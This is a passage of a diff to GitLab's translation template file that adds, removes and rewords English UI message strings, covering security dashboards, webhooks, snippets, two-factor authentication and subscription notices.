msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
